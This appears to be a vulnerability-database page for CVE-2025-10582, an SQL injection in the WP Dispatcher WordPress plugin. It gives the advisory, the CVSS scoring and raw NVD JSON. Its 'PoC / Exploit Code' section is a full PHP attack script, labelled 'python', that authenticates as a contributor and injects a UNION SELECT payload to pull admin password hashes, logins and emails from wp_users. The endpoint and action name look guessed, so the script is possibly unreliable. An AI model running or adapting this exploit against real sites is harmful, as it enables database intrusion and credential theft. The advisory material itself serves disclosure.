Security Vulnerability Report
中文
CVE-2025-10582 CVSS 8.8 HIGH

CVE-2025-10582

Published: 2025-10-03 12:15:43
Last Modified: 2026-04-15 00:35:42

Description

The WP Dispatcher plugin for WordPress is vulnerable to SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WP Dispatcher <= 1.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * PoC for CVE-2025-10582 - WP Dispatcher SQL Injection * Target: WP Dispatcher plugin <= 1.2.0 * Vulnerability: SQL Injection via 'id' parameter * Required: Contributor-level authenticated access */ // Configuration $target_url = 'https://target-wordpress-site.com'; $username = 'contributor_user'; $password = 'contributor_password'; // Step 1: Authenticate to WordPress and obtain cookies $login_url = $target_url . '/wp-login.php'; $cookie_jar = tempnam(sys_get_temp_dir(), 'cookies_'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to' => $target_url . '/wp-admin/', 'testcookie' => '1' ])); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); curl_close($ch); // Step 2: Exploit SQL Injection via 'id' parameter // The vulnerable endpoint is in class-wp-dispatcher-shortcode.php around line 78 $vulnerable_endpoint = $target_url . '/wp-admin/admin-ajax.php'; // SQL Injection payload to extract admin credentials // Adjust table prefix (wp_) as needed $payload = "1 UNION SELECT user_pass, user_login, user_email FROM wp_users WHERE ID=1--"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $vulnerable_endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'action' => 'wp_dispatcher_action', 'id' => $payload ])); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_jar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); echo "Exploit Result:\n"; echo $result; // Cleanup unlink($cookie_jar); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10582", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:43.123", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Dispatcher plugin for WordPress is vulnerable to SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-dispatcher/trunk/admin/class-wp-dispatcher-shortcode.php#L78", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/wp-dispatcher/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a9b3b6cc-faaa-46c2-ab82-00c7138a8f27?source=cve", "source": "[email protected]"}]}}